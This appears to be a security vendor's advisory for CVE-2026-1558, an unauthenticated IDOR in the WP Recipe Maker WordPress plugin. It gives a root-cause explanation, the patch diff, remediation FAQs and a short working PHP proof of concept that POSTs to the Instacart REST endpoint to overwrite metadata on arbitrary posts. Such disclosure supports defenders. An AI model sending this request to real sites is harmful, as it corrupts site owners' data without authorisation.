Atomic Edge analysis of CVE-2026-1558:
The root cause is an Insecure Direct Object Reference (IDOR) in the WP Recipe Maker plugin’s REST API endpoint. The endpoint `/wp-json/wp-recipe-maker/v1/integrations/instacart` registers its `permission_callback` as `__return_true`. This callback grants all requests access, including unauthenticated users. The `get_link_for_recipe` function in `class-wprm-instacart.php` accepts a user-supplied `recipeId` parameter. The function uses this ID to call `update_post_meta` without verifying the requesting user owns the post or has appropriate permissions. The exploitation method involves sending a POST request to the vulnerable REST endpoint. Attackers supply a `recipeId` parameter targeting any post on the site and a `servingsSystemCombination` parameter. This triggers the metadata update, overwriting the `wprm_instacart_combinations` meta key for the specified post ID. The patch in version 10.3.3 adds validation in the `get_link_for_recipe` function. It validates that the `recipeId` corresponds to an existing, published post of type `WPRM_POST_TYPE`. It also validates the format and bounds of the `servingsSystemCombination` parameter. The function now returns a `WP_Error` for invalid requests, preventing the metadata update. The patch also adds error handling in the API controller (`class-wprm-api-integrations.php`) to return the error response. If exploited, this vulnerability allows unauthenticated attackers to modify arbitrary post metadata, which could corrupt site data, disrupt plugin functionality, or be combined with other flaws for further impact.

CVE-2026-1558: WP Recipe Maker <= 10.3.2 – Insecure Direct Object Reference to Unauthenticated Arbitrary Post Metadata Modification via 'recipeId' Parameter (wp-recipe-maker)
CVE-2026-1558
wp-recipe-maker
10.3.2
10.3.3
Analysis Overview
Differential between vulnerable and patched code
--- a/wp-recipe-maker/includes/class-wp-recipe-maker.php
+++ b/wp-recipe-maker/includes/class-wp-recipe-maker.php
@@ -31,7 +31,7 @@
* @since 1.0.0
*/
private function define_constants() {
- define( 'WPRM_VERSION', '10.3.2' );
+ define( 'WPRM_VERSION', '10.3.3' );
define( 'WPRM_PREMIUM_VERSION_RECOMMENDED', '10.3.0' );
define( 'WPRM_PREMIUM_VERSION_REQUIRED', '7.0.0' );
define( 'WPRM_POST_TYPE', 'wprm_recipe' );
--- a/wp-recipe-maker/includes/public/api/class-wprm-api-integrations.php
+++ b/wp-recipe-maker/includes/public/api/class-wprm-api-integrations.php
@@ -56,6 +56,9 @@
if ( $data ) {
$link = WPRM_Instacart::get_link_for_recipe( $data );
+ if ( is_wp_error( $link ) ) {
+ return $link;
+ }
return rest_ensure_response( $link );
}
--- a/wp-recipe-maker/includes/public/class-wprm-instacart.php
+++ b/wp-recipe-maker/includes/public/class-wprm-instacart.php
@@ -47,12 +47,46 @@
*
* @since 9.8.0
* @param array $data Recipe data.
+ * @return string|WP_Error Instacart URL or error on validation failure.
*/
public static function get_link_for_recipe( $data ) {
$recipe_id = intval( $data['recipeId'] );
+
+ // Validate recipeId: post must exist, be a published recipe.
+ $post = get_post( $recipe_id );
+ if ( ! $post ) {
+ return new WP_Error( 'invalid_recipe', __( 'The specified recipe does not exist.', 'wp-recipe-maker' ), array( 'status' => 404 ) );
+ }
+ if ( WPRM_POST_TYPE !== get_post_type( $recipe_id ) ) {
+ return new WP_Error( 'invalid_recipe', __( 'The specified recipe does not exist.', 'wp-recipe-maker' ), array( 'status' => 404 ) );
+ }
+ if ( 'publish' !== get_post_status( $recipe_id ) ) {
+ return new WP_Error( 'invalid_recipe', __( 'The specified recipe does not exist.', 'wp-recipe-maker' ), array( 'status' => 404 ) );
+ }
+
$servings_system_combination = sanitize_key( $data['servingsSystemCombination'] );
- // Look for existing combination first.
+ // Validate servingsSystemCombination: format must be servings-system, system 1 or 2, servings integer in range.
+ $parts = explode( '-', $servings_system_combination, 2 );
+ if ( 2 !== count( $parts ) ) {
+ return new WP_Error( 'invalid_combination', __( 'Invalid servings and system combination.', 'wp-recipe-maker' ), array( 'status' => 400 ) );
+ }
+ $system = isset( $parts[1] ) ? $parts[1] : '';
+ if ( ! in_array( $system, array( '1', '2' ), true ) ) {
+ return new WP_Error( 'invalid_combination', __( 'Invalid servings and system combination.', 'wp-recipe-maker' ), array( 'status' => 400 ) );
+ }
+ $servings_raw = isset( $parts[0] ) ? $parts[0] : '';
+ $requested_servings = WPRM_Recipe_Parser::parse_quantity( $servings_raw );
+ if ( ! is_numeric( $requested_servings ) || $requested_servings !== (int) $requested_servings || 1 > $requested_servings ) {
+ return new WP_Error( 'invalid_combination', __( 'Invalid servings and system combination.', 'wp-recipe-maker' ), array( 'status' => 400 ) );
+ }
+ $requested_servings = (int) $requested_servings;
+ $original_parsed = WPRM_Recipe_Parser::parse_quantity( get_post_meta( $recipe_id, 'wprm_servings', true ) );
+ $original_parsed = is_numeric( $original_parsed ) && 0 < $original_parsed ? (int) $original_parsed : 1;
+ $max_servings = max( 100, $original_parsed * 4 );
+ $within_cache_range = ( $requested_servings <= $max_servings );
+
+ // Look for existing combination first (only in-range combinations are cached).
$existing_combinations = get_post_meta( $recipe_id, 'wprm_instacart_combinations', true );
$existing_combinations = $existing_combinations ? maybe_unserialize( $existing_combinations ) : array();
@@ -102,12 +136,14 @@
// Call Instacart API.
$instacart_response = self::call_instacart_api( 'recipe', $api_data );
- // Store result for future use.
- $existing_combinations[ $servings_system_combination ] = array(
- 'response' => $instacart_response,
- 'timestamp' => time(),
- );
- update_post_meta( $recipe_id, 'wprm_instacart_combinations', $existing_combinations );
+ // Store result for future use only when within the logical range (out-of-range requests still get the link but are not cached).
+ if ( $within_cache_range ) {
+ $existing_combinations[ $servings_system_combination ] = array(
+ 'response' => $instacart_response,
+ 'timestamp' => time(),
+ );
+ update_post_meta( $recipe_id, 'wprm_instacart_combinations', $existing_combinations );
+ }
// Return Instacart URL.
return self::get_link_from_response( $instacart_response );
--- a/wp-recipe-maker/wp-recipe-maker.php
+++ b/wp-recipe-maker/wp-recipe-maker.php
@@ -15,7 +15,7 @@
* Plugin Name: WP Recipe Maker
* Plugin URI: https://bootstrapped.ventures/wp-recipe-maker/
* Description: The easy and user-friendly recipe plugin for everyone. Automatic JSON-LD metadata for better SEO will get you more visitors!
- * Version: 10.3.2
+ * Version: 10.3.3
* Author: Bootstrapped Ventures
* Author URI: https://bootstrapped.ventures/
* License: GPL-2.0+
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1558 - WP Recipe Maker <= 10.3.2 - Insecure Direct Object Reference to Unauthenticated Arbitrary Post Metadata Modification via 'recipeId' Parameter
<?php
$target_url = 'http://vulnerable-site.example.com'; // CHANGE THIS
// Target any post ID present on the site (e.g., 1).
$recipe_id = 1;
// The servingsSystemCombination parameter is required by the endpoint.
$servings_system = '4-1';
$api_endpoint = '/wp-json/wp-recipe-maker/v1/integrations/instacart';
$full_url = $target_url . $api_endpoint;
$payload = [
'recipeId' => $recipe_id,
'servingsSystemCombination' => $servings_system,
];
$ch = curl_init($full_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The endpoint accepts unauthenticated requests.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Sent POST to: $full_urln";
echo "Payload: " . json_encode($payload) . "n";
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful call will update the postmeta for the target post ID.
// Verify by checking the database for the 'wprm_instacart_combinations' meta key.
?>
Frequently Asked Questions
What is CVE-2026-1558?
Understanding the vulnerabilityCVE-2026-1558 is a medium severity vulnerability in the WP Recipe Maker plugin for WordPress, specifically versions up to and including 10.3.2. It allows unauthenticated attackers to modify arbitrary post metadata due to an Insecure Direct Object Reference in the plugin’s REST API endpoint.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the ‘/wp-json/wp-recipe-maker/v1/integrations/instacart’ endpoint having a permission callback set to allow all requests. Attackers can send a POST request with a user-supplied ‘recipeId’ parameter to overwrite post metadata without any authentication or authorization checks.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the WP Recipe Maker plugin version 10.3.2 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard under the plugins section to determine if they are at risk.
How can I check if my site is vulnerable?
Verifying plugin versionTo check if your site is vulnerable, navigate to the WordPress admin dashboard, go to the ‘Plugins’ section, and look for the WP Recipe Maker plugin. If the version is 10.3.2 or earlier, your site is vulnerable to CVE-2026-1558.
How can I fix the vulnerability?
Updating the pluginThe vulnerability is patched in version 10.3.3 of the WP Recipe Maker plugin. To fix the issue, update the plugin to the latest version by going to the ‘Plugins’ section in your WordPress admin and clicking ‘Update’ next to WP Recipe Maker.
What if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updating is not possible, consider disabling the WP Recipe Maker plugin until you can apply the update. Additionally, review your site’s access controls and consider implementing security measures to restrict access to the REST API.
What does the CVSS score of 5.3 mean?
Understanding risk levelsThe CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability poses a significant risk, it may require specific conditions to be exploited, such as the attacker having knowledge of the site’s structure.
What impact could this vulnerability have?
Potential consequences of exploitationIf exploited, this vulnerability allows an attacker to modify arbitrary post metadata, potentially corrupting site data or disrupting plugin functionality. It could also be combined with other vulnerabilities for more severe impacts.
How does the proof of concept demonstrate the issue?
Example of exploitationThe proof of concept provided shows how an attacker can send a crafted POST request to the vulnerable endpoint with a specific ‘recipeId’ and ‘servingsSystemCombination’. This demonstrates the ease with which an attacker can exploit the vulnerability to overwrite post metadata.
Is there any additional security advice?
Best practices for WordPress securityIn addition to updating plugins, regularly review and audit your WordPress installation for vulnerabilities. Implement security plugins, maintain strong user access controls, and consider using a web application firewall to further protect your site.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






